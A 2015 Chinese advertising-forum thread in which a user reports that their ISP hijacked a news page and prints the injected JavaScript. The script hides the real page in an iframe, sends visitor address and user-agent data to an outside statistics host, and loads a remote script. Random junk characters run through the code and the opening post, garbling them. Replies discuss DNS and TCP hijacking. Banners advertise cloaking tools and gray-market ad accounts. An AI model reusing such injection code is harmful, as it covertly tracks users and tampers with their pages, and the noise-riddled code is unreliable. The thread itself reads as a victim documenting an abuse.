AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理全球虚拟卡, 支持U充值
Facebook 批量上广告尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款
各种主页、账单户、BM户(优势)IPCola原生住宅IP⚡️$1.8/条双ISPTK加白户/二解户/FB海外户/GG老户海外CL企业户源头
最大欧洲Nutra网盟BA找量 FB高权重耐操个号⚡️稳定过审TikTok2审户/老户/国内外端口/加白GG,FB,TK, 欧美源头, 欢迎合作❤️
FB企业户海外户,授信户,TK加白户联盟收款/海外资金下发/服贸结汇域名防红⚠斗篷工具/可试用3天广告位出租
8500万高质量住宅IP,助力各种需求虚拟卡返佣1%,国内持牌机构  
查看: 8873|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

773

广告币

1424

积分

高级会员

Rank: 4

积分
1424
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
Binom_AdvertCN
本帖最后由 hudba 于 2015-2-3 00:56 编辑
1 M# _" z4 L, T. R: _# p, J2 z0 S# x- B
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了# b; v- K. e; }
3 J; x3 d/ p6 k8 J. D! G
接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}! L! D+ Z8 G" P, s
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197
+ P1 u. W! b; r+ c2 }
: M' z+ i9 A2 r4 w
顺便查下ip138:& m: c% F  L' x; J% K

) Z  W6 m% Z) w2 k这是那段js里面的代码,好象是个半成品还没写入广告数据:
( ~3 `: N8 o1 U) o
  1. function locationSearch() {
    6 s& f' |0 Y8 C' m7 R
  2.         var s = getMainJs();, ]$ y% w  a, H; K
  3.         if (s == null) {
      N% A& c1 I! r# m2 i
  4.                 location.reload();
    ( I: {% Y+ r8 f! z! w
  5.         }/ e9 G* g  C6 P$ i2 P9 o' |
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);9 S7 J6 Z0 Z$ i9 j' X" I3 u
  7. }, r( h" t' M$ H) }

  8. 1 b  u9 U. ?/ i( P
  9. function getParameter(name, paraStr) {
    " v3 y9 T+ m  K$ P4 S. K% ]. O" j/ V
  10.         var result = "";2 d$ O+ i" g: |' @& K
  11.         var str = "&" + paraStr.split("?")[1];
    $ L$ U8 a2 a5 B! d" c& k: J; o
  12.         var paraName = "&" + name + "=";7 E2 u% ]4 Y" y# S  Y. R/ W
  13.         if (str.indexOf(paraName) != -1) {
    % V# E* ~' ~: b% e, y
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {2 Y4 N. T4 {* f" {
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);6 \; {  `  z( m( j- U
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(
    8 ?9 T- j2 ~4 p) M: n" t
  17.                                         1, TmpStr.length).indexOf("&")
    & }3 c1 }: {. ]. r. o7 I
  18.                                         - TmpStr.indexOf(paraName) + 1);
    8 l% B$ X! K( s
  19.                 } else {
    / X) Q  P$ B, {5 S3 I; q' P
  20.                         result = str.substring(str.indexOf(paraName), str.length);
    / }2 A8 }2 a! n2 n( V! U
  21.                 }
    6 l4 ]( z0 \4 W. k6 \% ~

  22. ; G9 t) h, f7 @. Y$ Q; W' N
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    " l5 z  p: I8 ~# b$ j
  24.         } else {- \- e* ]- s/ L6 H% P6 ]; V
  25.                 result = "No such parameter";. {% K5 |# S- R1 x6 s9 G$ W
  26.         }
    & M/ \. |+ N. R* F
  27.         return (result.replace("&", ""));/ ]; {# m7 }$ G; K. {% p/ n) A
  28. }, ^& `8 |- ~: {0 l* @
  29. 5 x" l# f, E: _$ P
  30. function getMainJs() {( U" k( n* C& W0 I6 s5 q9 k8 o: B
  31.         var scripts = document.getElementsByTagName("script");
    5 ~+ X$ J) Z5 ~1 Y. L# K3 ^5 s( J
  32.         var s = null;
    ( f9 _2 }5 y2 c) S8 r# |4 x0 w
  33.         for (var i = 0; i < scripts.length; i++) {7 I3 f: n9 T6 o: V
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    - p5 ?8 h, |+ ?6 B" z# G
  35.                         s = scripts[i];6 n+ D4 X* A* q5 i8 N$ K, \
  36.                         break;
    2 I4 U4 T1 _/ f) p. f) M  U6 Y" R% T
  37.                 }* x& ~. `) B6 G  {* O  }1 U
  38.         }' T0 |- s& {# q9 O1 Q& z
  39.         return s;- r% g$ [& k+ I8 j1 U  r4 p! P7 p
  40. }
    4 F8 x) M- n) M

  41. 0 \: e. u; L2 c5 j
  42. function appendParam(oStr, aStr) {
    & x" ^# E4 G, u& N( R
  43.         if (oStr.indexOf('?') > 0) {% h( C# f& j1 o% K8 p
  44.                 oStr = oStr + "&" + aStr;
      d9 t' J0 T3 A* I9 i
  45.         } else {& I  i- N- o& v& d* q
  46.                 oStr = oStr + "?" + aStr;
    2 e& W( i& }& [, ^4 r8 u" Q
  47.         }4 Q4 ~3 [4 Y. E$ G, X
  48.         return oStr;
    $ _2 h; m1 J+ v# A: U. P; R& J
  49. }
    " Q& i. k: k6 ]

  50. 7 H$ v. f. X3 l& r2 H3 q& A
  51. window.onerror = function() {, M0 k5 N& j( E; m$ y" d+ B
  52. };8 `+ i3 y# [1 w0 i- X6 x0 n

  53. 7 m5 y' J  J1 Y. ?3 R7 @
  54. var g_titleTime = 0;
    : U, f! b) o1 j
  55. function setTcTitle() {
    - Q, \% b/ M) J: q, G- e# G
  56.         if (undefined == document) {
    3 V. \2 |8 ]5 V7 D" q9 e
  57.                 g_titleTime++;
    , b! T. R9 f' a1 n+ o. a
  58.                 setTimeout("setTcTitle();", 1000);
    2 G) J2 W7 c  h1 W5 Q" H
  59.                 return;( i3 X* |# {* }& q
  60.         }
    & ?3 ?. ?' M& B* L, o, i

  61. 6 C( @( {+ z) t  W
  62.         var doc;
    ) W/ G% ~- r' ]$ Z$ b
  63.         try {
    ) f, }7 S6 O' Y4 S6 M; e
  64.                 if (document.all) {
    . C) j% z+ n7 }6 F
  65.                         doc = document.frames["cn"].document;
    - x/ |, P% v; o" m- k
  66.                 } else {
    2 f1 Q( `& b$ s7 C# E  l
  67.                         doc = document.getElementById("cn").contentDocument;- @5 W' R" m- P1 L
  68.                 }$ ^5 _  B5 L4 l  h% G4 u
  69.         } catch (ex) {; X% y, y2 i4 P
  70.         }
    . N; Y, R/ Y, R! X
  71. 3 H9 q* L  u! \+ c7 u' O
  72.         if (g_titleTime < 5
    4 [- ?! t9 r8 n, t: ^
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {/ w* x. ]9 U+ e% r5 |# V: A
  74.                 g_titleTime++;
    ' L0 E0 l- ]! H- g. @* O& N- a3 s7 |
  75.                 setTimeout("setTcTitle();", 1000);7 Q4 R! u1 H: Q! _2 l% G3 P3 @
  76.                 return;; L# B0 m2 e* p3 S) N! w$ ?, ]
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    " Y5 e& P& B/ L* O/ }# U' ]/ g5 {
  78.                 document.title = doc.title;$ X5 _& e! t0 s  W* f! p, ~5 d
  79.                 setTcAdvVisible();% P# v3 }6 {. \( O1 y% i
  80.         }1 w1 S4 U: }9 w
  81. }
      G/ g0 t. k! Q1 H- M& N% ?; |

  82. 0 U7 M. f+ i7 d$ t- `
  83. setTimeout("setTcTitle();", 1000);
    8 J$ c/ O2 ~/ ]( ]$ z

  84. 9 I5 J2 P' a( {5 @% ]) C3 B
  85. var g_isHaveVisible = false;
      F% ~# P4 |* R& ?  n5 _
  86. function setTcAdvVisible() {2 }7 n% P3 K5 a* G0 p
  87.         if (undefined != document && undefined != document.getElementById("addiv")
    0 V; m  S  X0 A
  88.                         && !g_isHaveVisible) {
    ! a$ A  r9 p( b" g+ M; h
  89.                 document.getElementById("addiv").style.visibility = 'visible';
    3 g; F% x7 T. V
  90.                 document.getElementById("addiv").style.display = 'block';
    : d9 v' H+ @4 ]9 A, d
  91.                 g_isHaveVisible = true;, F+ x9 t3 F% ]; F8 t$ h; o
  92.         }8 Q0 B; N) @! @+ p( |9 a* C
  93. }
    9 \1 p  {1 s9 Z# L$ x% x6 }

  94. $ z. Z2 J4 N5 K0 X/ X  Q# @
  95. function UrlAnalyzer() {; B+ N5 L. E, d1 @8 \
  96.         this.divda = "";
    . E( g; w9 f8 o/ E
  97.         this.tctype = "";
    5 B- B1 @9 d( y! H# \% [% x4 f
  98.         this.radius = "";1 q' O8 g& P- G+ p
  99.         this.rlu = "";
    ; F+ K% C! S% x1 |
  100. }
    0 d. t2 z& W1 e7 n. k7 P
  101. % N# I; x4 Z& i; P
  102. UrlAnalyzer.prototype.initParameters = function() {
    3 z1 T" ]4 ]& V- N5 \
  103.         var paraStr = locationSearch();
    % i& u+ T- J5 U, b
  104.         this.rlu = getParameter("lruedct", paraStr);! `+ P. O, S6 u2 E2 ]$ C9 k
  105.         this.divda = getParameter("divda", paraStr);5 t! f8 n2 L+ V7 ?* L' r, X
  106.         this.radius = getParameter("radius", paraStr);
    + E( a: B; e0 r: i: ?) a
  107.         this.tctype = getParameter("tctype", paraStr);
    " s% \$ ~+ i; X( [& C/ W
  108.         this.address = getParameter("address", paraStr);
    8 j1 L+ Q- M0 B. w4 A4 g( ^+ Z
  109.         this.usagent = getParameter("usagent", paraStr);
    5 H$ B) G  L& F6 t3 B+ r
  110. }  m8 q: o" n+ H6 V  o9 A% F

  111. - j- O- w3 x& o" j! P
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {6 U$ O2 d6 \: `) k& T* A7 m3 n
  113.         var doc;* k; Z9 E: U0 S. v
  114.         try {
      {% K+ U. ~) T- X- v' P' i0 l
  115.                 if (document.all) {5 b# q4 V. }# O1 O" P) \! @9 i
  116.                         doc = document.frames["cn"].document;
    0 a. `: `( ^) Q5 y

  117.   `1 X6 R% m- S% J* p
  118.                 } else {
    0 H2 s" n' |* z2 p9 U9 C4 W
  119.                         doc = document.getElementById("cn").contentDocument;
    6 @+ O$ Z8 X' B) ~. [
  120.                         // doc = document.getElementById("cn").contentWindow.document;' ?9 T% U2 y& d" `8 ?
  121.                 }: A# W8 ^9 z. h& T* P
  122.         } catch (ex) {( e  z- Y* k7 O' ?
  123.         }" V+ r/ E/ _: [& |3 ~7 }9 f
  124.         return doc;
    ( C' }4 m% d% N
  125. }4 q2 z5 ^  E% n# E7 _  X

  126. * [- W1 s* f9 ~! G
  127. UrlAnalyzer.prototype.setDomain = function() {
    ' o! x4 H( n2 j0 m) M$ D$ T, V
  128.         if (undefined != document.title && "" == document.title)
    ; v+ P9 o( U. P( J
  129.         {
    ; H0 }2 _8 J2 |
  130.                 var index = document.domain.indexOf(".");
    ; }& h7 Y- w; ?
  131.                 if (undefined != index && -1 != index) {
    7 U: s8 F% N, x5 v8 I) ]
  132.                         document.domain = document.domain.substring(index + 1,! S; [* M) E; T7 g) d" ]7 d8 r. X( [
  133.                                         document.domain.length);: g( i0 `+ c9 Y. v5 z
  134.                 }
    ; g& o/ e0 h+ m' \' k+ H
  135.                
    - C+ O2 \! c. b8 R: I
  136.                 var doc = this.getHtmlDoc();
    3 L, y) d$ t+ V8 d& _+ l
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {
    3 f/ z) C1 G' \7 b
  138.                         document.title = doc.title;3 x$ _0 O- ?' P* [4 P0 n6 J( V& w. |
  139.                         setTcAdvVisible();
      k2 Y2 ~0 M5 E; Q8 Q
  140.                 }
      [- f+ H6 w2 r
  141.         }
    , T- U5 k% z9 f; n
  142. }
    5 T4 a& ?" W( m+ [4 n6 a/ O

  143. 4 u- R" w( p6 W2 g5 y9 C8 w% \* T
  144. UrlAnalyzer.prototype.iframeCallback = function() {4 S1 X5 Z! t5 p# i
  145.         var doc = this.getHtmlDoc();3 m5 f5 V& w* `. W  s
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {# ]5 L* t0 R) @; P! N+ s
  147.                 if (undefined != document.domain) {5 v5 s3 O: y5 v" z
  148. & u3 A/ n  V& q- U6 w( ]+ u
  149.                         var self = this;  o% V5 [! ]* @3 c4 A
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    ; d% l2 L+ a$ ~
  151.                         // var index = document.domain.indexOf(".");0 Z( h8 F, g( b
  152.                         // if (undefined != index && -1 != index) {# y; b# f3 F# B9 N
  153.                         // document.domain = document.domain.substring(index + 1,2 {" F  Y$ w$ J9 a+ t# a
  154.                         // document.domain.length);, w! N# a  _! B  j* y4 E9 |
  155.                         // }
    . x1 e% G% z0 C' X4 t1 V2 c
  156.                         //
    ) i' U# w' r' J7 Z
  157.                         // var doc = this.getHtmlDoc();
    & q7 }+ H2 U! }; [+ z
  158.                         // if (undefined != doc && undefined != doc.title && "" !=
    , [" [8 o  c5 W* q3 I. b
  159.                         // doc.title) {
    5 H4 K3 v4 a6 p. r' `( i0 c3 M
  160.                         // document.title = doc.title;' C( Q  `! \4 O) X+ s  N
  161.                         // setTcAdvVisible();
    / T9 r- D6 n' W/ E2 b+ }5 w
  162.                         // }
    7 J, M9 n" P3 J3 W: {* h* C
  163.                 }3 Y$ p1 {1 g5 }+ G/ c  K" S
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {' L% o0 \* t$ l1 i& c
  165.                 document.title = doc.title;3 T) a. E' l9 ~1 k. {% G) n
  166.                 setTcAdvVisible();
    6 E; i) V* ^: s3 a% h7 \+ ~
  167.         }
    - O9 Y7 n& ~! c+ ~% S: ~9 j
  168. }
    $ e6 T# M/ p$ C" C* ]% q& P( L
  169. - s; B' G0 m9 N7 t5 |2 L  h8 }
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {! P9 M* \% q& B- e0 w$ r' A
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda
    ' N, q! y1 d' d+ \
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;
    $ X+ w: r$ L/ j/ ?8 a0 k% g" I

  173. % j/ u" A# X, H0 T# J5 |
  174.         var htmlStr = "<iframe src="" + staUrl
    - |# I9 r; Q/ g
  175.                         + "" style="display:none"></iframe>";8 K+ f% z. l* T) P

  176. . ^' N5 c  |& P" ]. n- n/ ]; z. J
  177.         var advUrl = htmlStr
    / j& Y5 }* @$ m, ]3 L
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="9 |& D# W- Y5 I
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
    3 c4 i* q4 q: N
  180.         document.write(advUrl);
    % v# ~' e3 K0 K. Q9 P! R

  181. 4 i$ K7 E" R5 e& J
  182.         var self = this;& P6 T! l; v" g# w8 X, g. t) Z; d
  183.         var iframe = document.getElementById("cn");
      Y( x3 s- p+ h: l. u7 ~
  184.         if (iframe.attachEvent) {# m2 b; ]/ P" J- M+ F( s* W
  185.                 iframe.attachEvent("onload", function() {
    , F+ N4 |, Z2 y1 ^( Q( ]8 U
  186.                         self.iframeCallback.call(self, null);
    # q; a* d" @& P" e1 T$ R1 V
  187.                 });
    & S! \, c7 ?8 s( m& g4 j
  188.         } else {
    % L: U- b$ [' ]0 Z3 M2 Y7 ^
  189.                 iframe.onload = function() {
    % f! n/ B) \) R. B9 a0 [- l
  190.                         self.iframeCallback.call(self, null);
    8 n5 }- k3 y: c5 y$ `0 h" I% H
  191.                 }
      \8 p! K* X- h# |2 c
  192.         }
    - g* e, r8 A, j8 g4 p- F# B
  193. }2 I  `- I5 |2 R4 d2 r7 U% A9 A

  194. + m( V1 m/ W# X& z( J( i
  195. UrlAnalyzer.prototype.executeMain = function() {3 R1 o' r" d, k! P
  196.         var mainFrame = document.getElementById("cn");
    * A3 g% W5 w- `- \
  197.         mainFrame.contentWindow.location.href = mainFrame.src;
    1 D# R6 c2 R5 o  @# }
  198.         this.initParameters();
    0 a( g5 s5 t/ x: \+ J5 q  X& j
  199.         this.executeHtmlContext();
    $ |' F0 Z2 d; D
  200. }! k+ O  n, T2 A% [

  201. 9 ?, C/ B  V+ w1 J8 Y
  202. var g_analyzer = new UrlAnalyzer();
    . Q2 |) l1 F3 H3 f4 W* u0 H- a) J7 }
  203. g_analyzer.executeMain();
    & m$ n/ |/ i+ b# b2 ~0 |
复制代码
" ]; g+ U# R" ]0 @
1 K2 G5 t; }  X/ J( R* W+ Y5 Y; g* _
6 u3 A; ^- h% o2 _

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

457

广告币

843

积分

中级会员

Rank: 3Rank: 3

积分
843
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

Rank: 3Rank: 3

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1730

广告币

2028

积分

高级会员

Rank: 4

积分
2028
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49  A5 k8 v" h+ a8 Z
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...

; l( t  W6 S7 j1 [  f/ V: H7 VTCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:26
+ ~  K2 g1 T6 g% s, N. l- L$ sTCP劫持,换DNS也不管用的。

. q" j' F. c" d* [( [( v: m  _幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-6-22 11:36 , Processed in 0.054480 second(s), 15 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表